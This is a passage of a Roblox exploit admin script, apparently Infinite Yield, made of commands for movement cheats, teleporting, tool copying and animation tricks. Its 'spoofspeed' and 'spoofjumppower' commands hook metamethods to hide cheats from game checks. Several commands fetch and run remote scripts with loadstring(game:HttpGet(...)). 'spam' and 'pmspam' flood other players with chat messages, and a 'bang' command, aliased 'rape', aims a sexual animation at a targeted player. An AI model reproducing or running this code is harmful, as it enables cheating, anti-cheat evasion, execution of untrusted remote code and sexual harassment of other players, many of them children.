speaker) local hipHeight = args[1] or (r15(speaker) and 2.1 or 0) if isNumber(hipHeight) then speaker.Character:FindFirstChildWhichIsA("Humanoid").HipHeight = hipHeight end end) addcmd("dance", {}, function(args, speaker) pcall(execCmd, "undance") local dances = {"27789359", "30196114", "248263260", "45834924", "33796059", "28488254", "52155728"} if r15(speaker) then dances = {"3333432454", "4555808220", "4049037604", "4555782893", "10214311282", "10714010337", "10713981723", "10714372526", "10714076981", "10714392151", "11444443576"} end local animation = Instance.new("Animation") animation.AnimationId = "rbxassetid://" .. dances[math.random(1, #dances)] danceTrack = speaker.Character:FindFirstChildWhichIsA("Humanoid"):LoadAnimation(animation) danceTrack.Looped = true danceTrack:Play() end) addcmd("undance", {"nodance"}, function(args, speaker) danceTrack:Stop() danceTrack:Destroy() end) addcmd('nolimbs',{'rlimbs'},function(args, speaker) if r15(speaker) then for i,v in pairs(speaker.Character:GetChildren()) do if v:IsA("BasePart") and v.Name == "RightUpperLeg" or v.Name == "LeftUpperLeg" or v.Name == "RightUpperArm" or v.Name == "LeftUpperArm" then v:Destroy() end end else for i,v in pairs(speaker.Character:GetChildren()) do if v:IsA("BasePart") and v.Name == "Right Leg" or v.Name == "Left Leg" or v.Name == "Right Arm" or v.Name == "Left Arm" then v:Destroy() end end end end) addcmd('noarms',{'rarms'},function(args, speaker) if r15(speaker) then for i,v in pairs(speaker.Character:GetChildren()) do if v:IsA("BasePart") and v.Name == "RightUpperArm" or v.Name == "LeftUpperArm" then v:Destroy() end end else for i,v in pairs(speaker.Character:GetChildren()) do if v:IsA("BasePart") and v.Name == "Right Arm" or v.Name == "Left Arm" then v:Destroy() end end end end) addcmd('nolegs',{'rlegs'},function(args, speaker) if r15(speaker) then for i,v in pairs(speaker.Character:GetChildren()) do if v:IsA("BasePart") and v.Name == "RightUpperLeg" or v.Name == "LeftUpperLeg" then v:Destroy() end end else for i,v in pairs(speaker.Character:GetChildren()) do if v:IsA("BasePart") and v.Name == "Right Leg" or v.Name == "Left Leg" then v:Destroy() end end end end) addcmd("sit", {}, function(args, speaker) speaker.Character:FindFirstChildWhichIsA("Humanoid").Sit = true end) addcmd("lay", {"laydown"}, function(args, speaker) local humanoid = speaker.Character:FindFirstChildWhichIsA("Humanoid") humanoid.Sit = true task.wait(0.1) humanoid.RootPart.CFrame = humanoid.RootPart.CFrame * CFrame.Angles(math.pi * 0.5, 0, 0) for _, v in ipairs(humanoid:GetPlayingAnimationTracks()) do v:Stop() end end) addcmd("sitwalk", {}, function(args, speaker) local anims = speaker.Character.Animate local sit = anims.sit:FindFirstChildWhichIsA("Animation").AnimationId anims.idle:FindFirstChildWhichIsA("Animation").AnimationId = sit anims.walk:FindFirstChildWhichIsA("Animation").AnimationId = sit anims.run:FindFirstChildWhichIsA("Animation").AnimationId = sit anims.jump:FindFirstChildWhichIsA("Animation").AnimationId = sit speaker.Character:FindFirstChildWhichIsA("Humanoid").HipHeight = not r15(speaker) and -1.5 or 0.5 end) addcmd("nosit", {}, function(args, speaker) speaker.Character:FindFirstChildWhichIsA("Humanoid"):SetStateEnabled(Enum.HumanoidStateType.Seated, false) end) addcmd("unnosit", {}, function(args, speaker) speaker.Character:FindFirstChildWhichIsA("Humanoid"):SetStateEnabled(Enum.HumanoidStateType.Seated, true) end) addcmd("jump", {}, function(args, speaker) speaker.Character:FindFirstChildWhichIsA("Humanoid"):ChangeState(Enum.HumanoidStateType.Jumping) end) local infJump infJumpDebounce = false addcmd("infjump", {"infinitejump"}, function(args, speaker) if infJump then infJump:Disconnect() end infJumpDebounce = false infJump = UserInputService.JumpRequest:Connect(function() if not infJumpDebounce then infJumpDebounce = true speaker.Character:FindFirstChildWhichIsA("Humanoid"):ChangeState(Enum.HumanoidStateType.Jumping) wait() infJumpDebounce = false end end) end) addcmd("uninfjump", {"uninfinitejump", "noinfjump", "noinfinitejump"}, function(args, speaker) if infJump then infJump:Disconnect() end infJumpDebounce = false end) local flyjump addcmd("flyjump", {}, function(args, speaker) if flyjump then flyjump:Disconnect() end flyjump = UserInputService.JumpRequest:Connect(function() speaker.Character:FindFirstChildWhichIsA("Humanoid"):ChangeState(Enum.HumanoidStateType.Jumping) end) end) addcmd("unflyjump", {"noflyjump"}, function(args, speaker) if flyjump then flyjump:Disconnect() end end) local HumanModCons = {} addcmd('autojump',{'ajump'},function(args, speaker) local Char = speaker.Character local Human = Char and Char:FindFirstChildWhichIsA("Humanoid") local function autoJump() if Char and Human then local check1 = workspace:FindPartOnRay(Ray.new(Human.RootPart.Position-Vector3.new(0,1.5,0), Human.RootPart.CFrame.lookVector*3), Human.Parent) local check2 = workspace:FindPartOnRay(Ray.new(Human.RootPart.Position+Vector3.new(0,1.5,0), Human.RootPart.CFrame.lookVector*3), Human.Parent) if check1 or check2 then Human.Jump = true end end end autoJump() HumanModCons.ajLoop = (HumanModCons.ajLoop and HumanModCons.ajLoop:Disconnect() and false) or RunService.RenderStepped:Connect(autoJump) HumanModCons.ajCA = (HumanModCons.ajCA and HumanModCons.ajCA:Disconnect() and false) or speaker.CharacterAdded:Connect(function(nChar) Char, Human = nChar, nChar:WaitForChild("Humanoid") autoJump() HumanModCons.ajLoop = (HumanModCons.ajLoop and HumanModCons.ajLoop:Disconnect() and false) or RunService.RenderStepped:Connect(autoJump) end) end) addcmd('unautojump',{'noautojump', 'noajump', 'unajump'},function(args, speaker) HumanModCons.ajLoop = (HumanModCons.ajLoop and HumanModCons.ajLoop:Disconnect() and false) or nil HumanModCons.ajCA = (HumanModCons.ajCA and HumanModCons.ajCA:Disconnect() and false) or nil end) addcmd('edgejump',{'ejump'},function(args, speaker) local Char = speaker.Character local Human = Char and Char:FindFirstChildWhichIsA("Humanoid") -- Full credit to NoelGamer06 @V3rmillion local state local laststate local lastcf local function edgejump() if Char and Human then laststate = state state = Human:GetState() if laststate ~= state and state == Enum.HumanoidStateType.Freefall and laststate ~= Enum.HumanoidStateType.Jumping then Char.HumanoidRootPart.CFrame = lastcf Char.HumanoidRootPart.Velocity = Vector3.new(Char.HumanoidRootPart.Velocity.X, Human.JumpPower or Human.JumpHeight, Char.HumanoidRootPart.Velocity.Z) end lastcf = Char.HumanoidRootPart.CFrame end end edgejump() HumanModCons.ejLoop = (HumanModCons.ejLoop and HumanModCons.ejLoop:Disconnect() and false) or RunService.RenderStepped:Connect(edgejump) HumanModCons.ejCA = (HumanModCons.ejCA and HumanModCons.ejCA:Disconnect() and false) or speaker.CharacterAdded:Connect(function(nChar) Char, Human = nChar, nChar:WaitForChild("Humanoid") edgejump() HumanModCons.ejLoop = (HumanModCons.ejLoop and HumanModCons.ejLoop:Disconnect() and false) or RunService.RenderStepped:Connect(edgejump) end) end) addcmd('unedgejump',{'noedgejump', 'noejump', 'unejump'},function(args, speaker) HumanModCons.ejLoop = (HumanModCons.ejLoop and HumanModCons.ejLoop:Disconnect() and false) or nil HumanModCons.ejCA = (HumanModCons.ejCA and HumanModCons.ejCA:Disconnect() and false) or nil end) addcmd("team", {}, function(args, speaker) local teamName = getstring(1) local team = nil local root = speaker.Character and getRoot(speaker.Character) for _, v in ipairs(Teams:GetChildren()) do if v.Name:lower():match(teamName:lower()) then team = v break end end if not team then return notify("Invalid Team", teamName .. " is not a valid team") end if root and firetouchinterest then for _, v in ipairs(workspace:GetDescendants()) do if v:IsA("SpawnLocation") and v.BrickColor == team.TeamColor and v.AllowTeamChangeOnTouch == true then firetouchinterest(v, root, 0) firetouchinterest(v, root, 1) break end end else speaker.Team = team end end) addcmd('nobgui',{'unbgui','nobillboardgui','unbillboardgui','noname','rohg'},function(args, speaker) for i,v in pairs(speaker.Character:GetDescendants())do if v:IsA("BillboardGui") or v:IsA("SurfaceGui") then v:Destroy() end end end) addcmd('loopnobgui',{'loopunbgui','loopnobillboardgui','loopunbillboardgui','loopnoname','looprohg'},function(args, speaker) for i,v in pairs(speaker.Character:GetDescendants())do if v:IsA("BillboardGui") or v:IsA("SurfaceGui") then v:Destroy() end end local function charPartAdded(part) if part:IsA("BillboardGui") or part:IsA("SurfaceGui") then wait() part:Destroy() end end charPartTrigger = speaker.Character.DescendantAdded:Connect(charPartAdded) end) addcmd('unloopnobgui',{'unloopunbgui','unloopnobillboardgui','unloopunbillboardgui','unloopnoname','unlooprohg'},function(args, speaker) if charPartTrigger then charPartTrigger:Disconnect() end end) addcmd('spasm',{},function(args, speaker) if not r15(speaker) then local pchar=speaker.Character local AnimationId = "33796059" SpasmAnim = Instance.new("Animation") SpasmAnim.AnimationId = "rbxassetid://"..AnimationId Spasm = pchar:FindFirstChildOfClass('Humanoid'):LoadAnimation(SpasmAnim) Spasm:Play() Spasm:AdjustSpeed(99) else notify('R6 Required','This command requires the r6 rig type') end end) addcmd('unspasm',{'nospasm'},function(args, speaker) Spasm:Stop() SpasmAnim:Destroy() end) addcmd('headthrow',{},function(args, speaker) if not r15(speaker) then local AnimationId = "35154961" local Anim = Instance.new("Animation") Anim.AnimationId = "rbxassetid://"..AnimationId local k = speaker.Character:FindFirstChildOfClass('Humanoid'):LoadAnimation(Anim) k:Play(0) k:AdjustSpeed(1) else notify('R6 Required','This command requires the r6 rig type') end end) local function anim2track(asset_id) local objs = game:GetObjects(asset_id) for i = 1, #objs do if objs[i]:IsA("Animation") then return objs[i].AnimationId end end return asset_id end addcmd("animation", {"anim"}, function(args, speaker) local animid = tostring(args[1]) if not animid:find("rbxassetid://") then animid = "rbxassetid://" .. animid end animid = anim2track(animid) local animation = Instance.new("Animation") animation.AnimationId = animid local anim = speaker.Character:FindFirstChildWhichIsA("Humanoid"):LoadAnimation(animation) anim.Priority = Enum.AnimationPriority.Movement anim:Play() if args[2] then anim:AdjustSpeed(tostring(args[2])) end end) addcmd("emote", {"em"}, function(args, speaker) local animid = tostring(args[1]) if not animid:find("rbxassetid://") then animid = "rbxassetid://" .. animid end local anim = humanoid:PlayEmoteAndGetAnimTrackById(animid) if args[2] then anim:AdjustSpeed(tostring(args[2])) end end) addcmd('noanim',{},function(args, speaker) speaker.Character.Animate.Disabled = true end) addcmd('reanim',{},function(args, speaker) speaker.Character.Animate.Disabled = false end) addcmd('animspeed',{},function(args, speaker) local Char = speaker.Character local Hum = Char:FindFirstChildOfClass("Humanoid") or Char:FindFirstChildOfClass("AnimationController") for i,v in next, Hum:GetPlayingAnimationTracks() do v:AdjustSpeed(tonumber(args[1] or 1)) end end) addcmd('copyanimation',{'copyanim','copyemote'},function(args, speaker) local players = getPlayer(args[1], speaker) for _,v in ipairs(players)do local char = Players[v].Character for _, v1 in pairs(speaker.Character:FindFirstChildOfClass('Humanoid'):GetPlayingAnimationTracks()) do v1:Stop() end for _, v1 in pairs(Players[v].Character:FindFirstChildOfClass('Humanoid'):GetPlayingAnimationTracks()) do if not string.find(v1.Animation.AnimationId, "507768375") then local ANIM = speaker.Character:FindFirstChildOfClass('Humanoid'):LoadAnimation(v1.Animation) ANIM:Play(.1, 1, v1.Speed) ANIM.TimePosition = v1.TimePosition task.spawn(function() v1.Stopped:Wait() ANIM:Stop() ANIM:Destroy() end) end end end end) addcmd("copyanimationid", {"copyanimid", "copyemoteid"}, function(args, speaker) local copyAnimId = function(player) local found = "Animations Copied" for _, v in pairs(player.Character:FindFirstChildWhichIsA("Humanoid"):GetPlayingAnimationTracks()) do local animationId = v.Animation.AnimationId local assetId = animationId:find("rbxassetid://") and animationId:match("%d+") if not string.find(animationId, "507768375") and not string.find(animationId, "180435571") then if assetId then local success, result = pcall(function() return MarketplaceService:GetProductInfo(tonumber(assetId)).Name end) local name = success and result or "Failed to get name" found = found .. "\n\nName: " .. name .. "\nAnimation Id: " .. animationId else found = found .. "\n\nAnimation Id: " .. animationId end end end if found ~= "Animations Copied" then toClipboard(found) else notify("Animations", "No animations to copy") end end if args[1] then copyAnimId(Players[getPlayer(args[1], speaker)[1]]) else copyAnimId(speaker) end end) addcmd('stopanimations',{'stopanims','stopanim'},function(args, speaker) local Char = speaker.Character local Hum = Char:FindFirstChildOfClass("Humanoid") or Char:FindFirstChildOfClass("AnimationController") for i,v in next, Hum:GetPlayingAnimationTracks() do v:Stop() end end) addcmd('refreshanimations', {'refreshanimation', 'refreshanims', 'refreshanim'}, function(args, speaker) local Char = speaker.Character or speaker.CharacterAdded:Wait() local Human = Char and Char:WaitForChild('Humanoid', 15) local Animate = Char and Char:WaitForChild('Animate', 15) if not Human or not Animate then return notify('Refresh Animations', 'Failed to get Animate/Humanoid') end Animate.Disabled = true for _, v in ipairs(Human:GetPlayingAnimationTracks()) do v:Stop() end Animate.Disabled = false end) addcmd('allowcustomanim', {'allowcustomanimations'}, function(args, speaker) StarterPlayer.AllowCustomAnimations = true execCmd('refreshanimations') end) addcmd('unallowcustomanim', {'unallowcustomanimations'}, function(args, speaker) StarterPlayer.AllowCustomAnimations = false execCmd('refreshanimations') end) addcmd('loopanimation', {'loopanim'},function(args, speaker) local Char = speaker.Character local Human = Char and Char.FindFirstChildWhichIsA(Char, "Humanoid") for _, v in ipairs(Human.GetPlayingAnimationTracks(Human)) do v.Looped = true end end) addcmd('tpposition',{'tppos'},function(args, speaker) if #args < 3 then return end local tpX,tpY,tpZ = tonumber((args[1]:gsub(",", ""))),tonumber((args[2]:gsub(",", ""))),tonumber((args[3]:gsub(",", ""))) local char = speaker.Character if char and getRoot(char) then getRoot(char).CFrame = CFrame.new(tpX,tpY,tpZ) end end) addcmd('tweentpposition',{'ttppos'},function(args, speaker) if #args < 3 then return end local tpX,tpY,tpZ = tonumber((args[1]:gsub(",", ""))),tonumber((args[2]:gsub(",", ""))),tonumber((args[3]:gsub(",", ""))) local char = speaker.Character if char and getRoot(char) then TweenService:Create(getRoot(speaker.Character), TweenInfo.new(tweenSpeed, Enum.EasingStyle.Linear), {CFrame = CFrame.new(tpX,tpY,tpZ)}):Play() end end) addcmd('offset',{},function(args, speaker) if #args < 3 then return end if speaker.Character then speaker.Character:TranslateBy(Vector3.new(tonumber(args[1]) or 0, tonumber(args[2]) or 0, tonumber(args[3]) or 0)) end end) addcmd('tweenoffset',{'toffset'},function(args, speaker) if #args < 3 then return end local tpX,tpY,tpZ = tonumber(args[1]),tonumber(args[2]),tonumber(args[3]) local char = speaker.Character if char and getRoot(char) then TweenService:Create(getRoot(speaker.Character), TweenInfo.new(tweenSpeed, Enum.EasingStyle.Linear), {CFrame = CFrame.new(tpX,tpY,tpZ)}):Play() end end) addcmd('clickteleport',{},function(args, speaker) if speaker == Players.LocalPlayer then notify('Click TP','Go to Settings > Keybinds > Add to set up click teleport') end end) addcmd("mouseteleport", {"mousetp"}, function(args, speaker) local root = getRoot(speaker.Character) local pos = IYMouse.Hit if root and pos then root.CFrame = CFrame.new(pos.X, pos.Y + 3, pos.Z, select(4, root.CFrame:components())) end end) addcmd('tptool', {'teleporttool'}, function(args, speaker) local TpTool = Instance.new("Tool") TpTool.Name = "Teleport Tool" TpTool.RequiresHandle = false TpTool.Parent = speaker.Backpack TpTool.Activated:Connect(function() local Char = speaker.Character or workspace:FindFirstChild(speaker.Name) local HRP = Char and Char:FindFirstChild("HumanoidRootPart") if not Char or not HRP then return warn("Failed to find HumanoidRootPart") end HRP.CFrame = CFrame.new(IYMouse.Hit.X, IYMouse.Hit.Y + 3, IYMouse.Hit.Z, select(4, HRP.CFrame:components())) end) end) addcmd('clickdelete',{},function(args, speaker) if speaker == Players.LocalPlayer then notify('Click Delete','Go to Settings > Keybinds > Add to set up click delete') end end) addcmd('getposition',{'getpos','notifypos','notifyposition'},function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local char = Players[v].Character local pos = char and (getRoot(char) or char:FindFirstChildWhichIsA("BasePart")) pos = pos and pos.Position if not pos then return notify('Getposition Error','Missing character') end local roundedPos = math.round(pos.X) .. ", " .. math.round(pos.Y) .. ", " .. math.round(pos.Z) notify('Current Position',roundedPos) end end) addcmd('copyposition',{'copypos'},function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local char = Players[v].Character local pos = char and (getRoot(char) or char:FindFirstChildWhichIsA("BasePart")) pos = pos and pos.Position if not pos then return notify('Getposition Error','Missing character') end local roundedPos = math.round(pos.X) .. ", " .. math.round(pos.Y) .. ", " .. math.round(pos.Z) toClipboard(roundedPos) end end) addcmd('walktopos',{'walktoposition'},function(args, speaker) if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false wait(.1) end speaker.Character:FindFirstChildOfClass('Humanoid').WalkToPoint = Vector3.new(args[1],args[2],args[3]) end) addcmd('speed',{'ws','walkspeed'},function(args, speaker) if args[2] then local speed = args[2] or 16 if isNumber(speed) then speaker.Character:FindFirstChildOfClass('Humanoid').WalkSpeed = speed end else local speed = args[1] or 16 if isNumber(speed) then speaker.Character:FindFirstChildOfClass('Humanoid').WalkSpeed = speed end end end) addcmd('spoofspeed',{'spoofws','spoofwalkspeed'},function(args, speaker) if args[1] and isNumber(args[1]) then if hookmetamethod then local char = speaker.Character local setspeed; local index; index = hookmetamethod(game, "__index", function(self, key) if not checkcaller() and typeof(self) == "Instance" and self:IsA("Humanoid") and (key == "WalkSpeed" or key == "walkSpeed") and self:IsDescendantOf(char) then return setspeed or args[1] end return index(self, key) end) local newindex; newindex = hookmetamethod(game, "__newindex", function(self, key, value) if not checkcaller() and typeof(self) == "Instance" and self:IsA("Humanoid") and (key == "WalkSpeed" or key == "walkSpeed") and self:IsDescendantOf(char) then setspeed = tonumber(value) end return newindex(self, key, value) end) else notify('Incompatible Exploit','Your exploit does not support this command (missing hookmetamethod)') end end end) addcmd('loopspeed',{'loopws'},function(args, speaker) local speed = args[1] or 16 if args[2] then speed = args[2] or 16 end if isNumber(speed) then local Char = speaker.Character or workspace:FindFirstChild(speaker.Name) local Human = Char and Char:FindFirstChildWhichIsA("Humanoid") local function WalkSpeedChange() if Char and Human then Human.WalkSpeed = speed end end WalkSpeedChange() HumanModCons.wsLoop = (HumanModCons.wsLoop and HumanModCons.wsLoop:Disconnect() and false) or Human:GetPropertyChangedSignal("WalkSpeed"):Connect(WalkSpeedChange) HumanModCons.wsCA = (HumanModCons.wsCA and HumanModCons.wsCA:Disconnect() and false) or speaker.CharacterAdded:Connect(function(nChar) Char, Human = nChar, nChar:WaitForChild("Humanoid") WalkSpeedChange() HumanModCons.wsLoop = (HumanModCons.wsLoop and HumanModCons.wsLoop:Disconnect() and false) or Human:GetPropertyChangedSignal("WalkSpeed"):Connect(WalkSpeedChange) end) end end) addcmd('unloopspeed',{'unloopws'},function(args, speaker) HumanModCons.wsLoop = (HumanModCons.wsLoop and HumanModCons.wsLoop:Disconnect() and false) or nil HumanModCons.wsCA = (HumanModCons.wsCA and HumanModCons.wsCA:Disconnect() and false) or nil end) addcmd('spoofjumppower',{'spoofjp'},function(args, speaker) if args[1] and isNumber(args[1]) then if hookmetamethod then local char = speaker.Character local setpower; local index; index = hookmetamethod(game, "__index", function(self, key) if not checkcaller() and typeof(self) == "Instance" and self:IsA("Humanoid") and (key == "JumpPower" or key == "jumpPower") and self:IsDescendantOf(char) then return setpower or args[1] end return index(self, key) end) local newindex; newindex = hookmetamethod(game, "__newindex", function(self, key, value) if not checkcaller() and typeof(self) == "Instance" and self:IsA("Humanoid") and (key == "JumpPower" or key == "jumpPower") and self:IsDescendantOf(char) then setpower = tonumber(value) end return newindex(self, key, value) end) else notify('Incompatible Exploit','Your exploit does not support this command (missing hookmetamethod)') end end end) addcmd('loopjumppower',{'loopjp','loopjpower'},function(args, speaker) local jpower = args[1] or 50 if isNumber(jpower) then local Char = speaker.Character or workspace:FindFirstChild(speaker.Name) local Human = Char and Char:FindFirstChildWhichIsA("Humanoid") local function JumpPowerChange() if Char and Human then if speaker.Character:FindFirstChildOfClass('Humanoid').UseJumpPower then speaker.Character:FindFirstChildOfClass('Humanoid').JumpPower = jpower else speaker.Character:FindFirstChildOfClass('Humanoid').JumpHeight = jpower end end end JumpPowerChange() HumanModCons.jpLoop = (HumanModCons.jpLoop and HumanModCons.jpLoop:Disconnect() and false) or Human:GetPropertyChangedSignal("JumpPower"):Connect(JumpPowerChange) HumanModCons.jpCA = (HumanModCons.jpCA and HumanModCons.jpCA:Disconnect() and false) or speaker.CharacterAdded:Connect(function(nChar) Char, Human = nChar, nChar:WaitForChild("Humanoid") JumpPowerChange() HumanModCons.jpLoop = (HumanModCons.jpLoop and HumanModCons.jpLoop:Disconnect() and false) or Human:GetPropertyChangedSignal("JumpPower"):Connect(JumpPowerChange) end) end end) addcmd('unloopjumppower',{'unloopjp','unloopjpower'},function(args, speaker) local Char = speaker.Character or workspace:FindFirstChild(speaker.Name) local Human = Char and Char:FindFirstChildWhichIsA("Humanoid") HumanModCons.jpLoop = (HumanModCons.jpLoop and HumanModCons.jpLoop:Disconnect() and false) or nil HumanModCons.jpCA = (HumanModCons.jpCA and HumanModCons.jpCA:Disconnect() and false) or nil if Char and Human then if speaker.Character:FindFirstChildOfClass('Humanoid').UseJumpPower then speaker.Character:FindFirstChildOfClass('Humanoid').JumpPower = 50 else speaker.Character:FindFirstChildOfClass('Humanoid').JumpHeight = 50 end end end) addcmd('tools',{'gears'},function(args, speaker) local function copy(instance) for i,c in pairs(instance:GetChildren())do if c:IsA('Tool') or c:IsA('HopperBin') then c:Clone().Parent = speaker:FindFirstChildOfClass("Backpack") end copy(c) end end copy(Lighting) local function copy(instance) for i,c in pairs(instance:GetChildren())do if c:IsA('Tool') or c:IsA('HopperBin') then c:Clone().Parent = speaker:FindFirstChildOfClass("Backpack") end copy(c) end end copy(ReplicatedStorage) notify('Tools','Copied tools from ReplicatedStorage and Lighting') end) addcmd('notools',{'rtools','clrtools','removetools','deletetools','dtools'},function(args, speaker) for i,v in pairs(speaker:FindFirstChildOfClass("Backpack"):GetDescendants()) do if v:IsA('Tool') or v:IsA('HopperBin') then v:Destroy() end end for i,v in pairs(speaker.Character:GetDescendants()) do if v:IsA('Tool') or v:IsA('HopperBin') then v:Destroy() end end end) addcmd('deleteselectedtool',{'dst'},function(args, speaker) for i,v in pairs(speaker.Character:GetDescendants()) do if v:IsA('Tool') or v:IsA('HopperBin') then v:Destroy() end end end) addcmd("console", {}, function(args, speaker) StarterGui:SetCore("DevConsoleVisible", true) end) addcmd('oldconsole',{},function(args, speaker) -- Thanks wally!! notify("Loading",'Hold on a sec') local _, str = pcall(function() return game:HttpGet("https://raw.githubusercontent.com/infyiff/backup/main/console.lua", true) end) local s, e = loadstring(str) if typeof(s) ~= "function" then return end local success, message = pcall(s) if (not success) then if printconsole then printconsole(message) elseif printoutput then printoutput(message) end end wait(1) notify('Console','Press F9 to open the console') end) addcmd("explorer", {"dex"}, function(args, speaker) notify("Loading", "Hold on a sec") loadstring(game:HttpGet("https://raw.githubusercontent.com/infyiff/backup/main/dex.lua"))() end) addcmd('olddex', {'odex'}, function(args, speaker) notify('Loading old explorer', 'Hold on a sec') local getobjects = function(a) local Objects = {} if a then local b = InsertService:LoadLocalAsset(a) if b then table.insert(Objects, b) end end return Objects end local Dex = getobjects("rbxassetid://10055842438")[1] Dex.Parent = PARENT local function Load(Obj, Url) local function GiveOwnGlobals(Func, Script) -- Fix for this edit of dex being poorly made -- I (Alex) would like to commemorate whoever added this dex in somehow finding the worst dex to ever exist local Fenv, RealFenv, FenvMt = {}, { script = Script, getupvalue = function(a, b) return nil -- force it to use globals end, getreg = function() -- It loops registry for some idiotic reason so stop it from doing that and just use a global return {} -- force it to use globals end, getprops = getprops or function(inst) if getproperties then local props = getproperties(inst) if props[1] and gethiddenproperty then local results = {} for _,name in pairs(props) do local success, res = pcall(gethiddenproperty, inst, name) if success then results[name] = res end end return results end return props end return {} end }, {} FenvMt.__index = function(a,b) return RealFenv[b] == nil and getgenv()[b] or RealFenv[b] end FenvMt.__newindex = function(a, b, c) if RealFenv[b] == nil then getgenv()[b] = c else RealFenv[b] = c end end setmetatable(Fenv, FenvMt) pcall(setfenv, Func, Fenv) return Func end local function LoadScripts(_, Script) if Script:IsA("LocalScript") then task.spawn(function() GiveOwnGlobals(loadstring(Script.Source,"="..Script:GetFullName()), Script)() end) end table.foreach(Script:GetChildren(), LoadScripts) end LoadScripts(nil, Obj) end Load(Dex) end) addcmd('remotespy',{'rspy'},function(args, speaker) notify("Loading",'Hold on a sec') -- Full credit to exx, creator of SimpleSpy -- also thanks to Amity for fixing loadstring(game:HttpGet("https://raw.githubusercontent.com/infyiff/backup/main/SimpleSpyV3/main.lua"))() end) addcmd('audiologger',{'alogger'},function(args, speaker) notify("Loading",'Hold on a sec') loadstring(game:HttpGet(('https://raw.githubusercontent.com/infyiff/backup/main/audiologger.lua'),true))() end) local loopgoto = nil addcmd('loopgoto',{},function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do loopgoto = nil if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false wait(.1) end loopgoto = Players[v] local distance = 3 if args[2] and isNumber(args[2]) then distance = args[2] end local lDelay = 0 if args[3] and isNumber(args[3]) then lDelay = args[3] end repeat if Players:FindFirstChild(v) then if Players[v].Character ~= nil then getRoot(speaker.Character).CFrame = getRoot(Players[v].Character).CFrame + Vector3.new(distance,1,0) end wait(lDelay) else loopgoto = nil end until loopgoto ~= Players[v] end end) addcmd('unloopgoto',{'noloopgoto'},function(args, speaker) loopgoto = nil end) addcmd('headsit',{},function(args, speaker) local players = getPlayer(args[1], speaker) if headSit then headSit:Disconnect() end for i,v in pairs(players)do speaker.Character:FindFirstChildOfClass('Humanoid').Sit = true headSit = RunService.Heartbeat:Connect(function() if Players:FindFirstChild(Players[v].Name) and Players[v].Character ~= nil and getRoot(Players[v].Character) and getRoot(speaker.Character) and speaker.Character:FindFirstChildOfClass('Humanoid').Sit == true then getRoot(speaker.Character).CFrame = getRoot(Players[v].Character).CFrame * CFrame.Angles(0,math.rad(0),0)* CFrame.new(0,1.6,0.4) else headSit:Disconnect() end end) end end) addcmd('chat',{'say'},function(args, speaker) local cString = getstring(1) chatMessage(cString) end) spamming = false spamspeed = 1 addcmd('spam',{},function(args, speaker) spamming = true local spamstring = getstring(1) repeat wait(spamspeed) chatMessage(spamstring) until spamming == false end) addcmd('nospam',{'unspam'},function(args, speaker) spamming = false end) addcmd('whisper',{'pm'},function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do task.spawn(function() local plrName = Players[v].Name local pmstring = getstring(2) chatMessage("/w "..plrName.." "..pmstring) end) end end) pmspamming = {} addcmd('pmspam',{},function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do task.spawn(function() local plrName = Players[v].Name if FindInTable(pmspamming, plrName) then return end table.insert(pmspamming, plrName) local pmspamstring = getstring(2) repeat if Players:FindFirstChild(v) then wait(spamspeed) chatMessage("/w "..plrName.." "..pmspamstring) else for a,b in pairs(pmspamming) do if b == plrName then table.remove(pmspamming, a) end end end until not FindInTable(pmspamming, plrName) end) end end) addcmd('nopmspam',{'unpmspam'},function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do task.spawn(function() for a,b in pairs(pmspamming) do if b == Players[v].Name then table.remove(pmspamming, a) end end end) end end) addcmd('spamspeed',{},function(args, speaker) local speed = args[1] or 1 if isNumber(speed) then spamspeed = speed end end) addcmd('bubblechat',{},function(args, speaker) if isLegacyChat then ChatService.BubbleChatEnabled = true else TextChatService.BubbleChatConfiguration.Enabled = true end end) addcmd('unbubblechat',{'nobubblechat'},function(args, speaker) if isLegacyChat then ChatService.BubbleChatEnabled = false else TextChatService.BubbleChatConfiguration.Enabled = false end end) addcmd('blockhead',{},function(args, speaker) speaker.Character.Head:FindFirstChildOfClass("SpecialMesh"):Destroy() end) addcmd('blockhats',{},function(args, speaker) for _,v in pairs(speaker.Character:FindFirstChildOfClass('Humanoid'):GetAccessories()) do for i,c in pairs(v:GetDescendants()) do if c:IsA("SpecialMesh") then c:Destroy() end end end end) addcmd('blocktool',{},function(args, speaker) for _,v in pairs(speaker.Character:GetChildren()) do if v:IsA("Tool") or v:IsA("HopperBin") then for i,c in pairs(v:GetDescendants()) do if c:IsA("SpecialMesh") then c:Destroy() end end end end end) addcmd('creeper',{},function(args, speaker) if r15(speaker) then speaker.Character.Head:FindFirstChildOfClass("SpecialMesh"):Destroy() speaker.Character.LeftUpperArm:Destroy() speaker.Character.RightUpperArm:Destroy() speaker.Character:FindFirstChildOfClass("Humanoid"):RemoveAccessories() else speaker.Character.Head:FindFirstChildOfClass("SpecialMesh"):Destroy() speaker.Character["Left Arm"]:Destroy() speaker.Character["Right Arm"]:Destroy() speaker.Character:FindFirstChildOfClass("Humanoid"):RemoveAccessories() end end) function getTorso(x) x = x or Players.LocalPlayer.Character return x:FindFirstChild("Torso") or x:FindFirstChild("UpperTorso") or x:FindFirstChild("LowerTorso") or x:FindFirstChild("HumanoidRootPart") end addcmd("bang", {"rape"}, function(args, speaker) execCmd("unbang") wait() local humanoid = speaker.Character:FindFirstChildWhichIsA("Humanoid") bangAnim = Instance.new("Animation") bangAnim.AnimationId = not r15(speaker) and "rbxassetid://148840371" or "rbxassetid://5918726674" bang = humanoid:LoadAnimation(bangAnim) bang:Play(0.1, 1, 1) bang:AdjustSpeed(args[2] or 3) bangDied = humanoid.Died:Connect(function() bang:Stop() bangAnim:Destroy() bangDied:Disconnect() bangLoop:Disconnect() end) if args[1] then local players = getPlayer(args[1], speaker) for _, v in pairs(players) do local bangplr = Players[v].Name local bangOffet = CFrame.new(0, 0, 1.1) bangLoop = RunService.Stepped:Connect(function() pcall(function() local otherRoot = getTorso(Players[bangplr].Character) 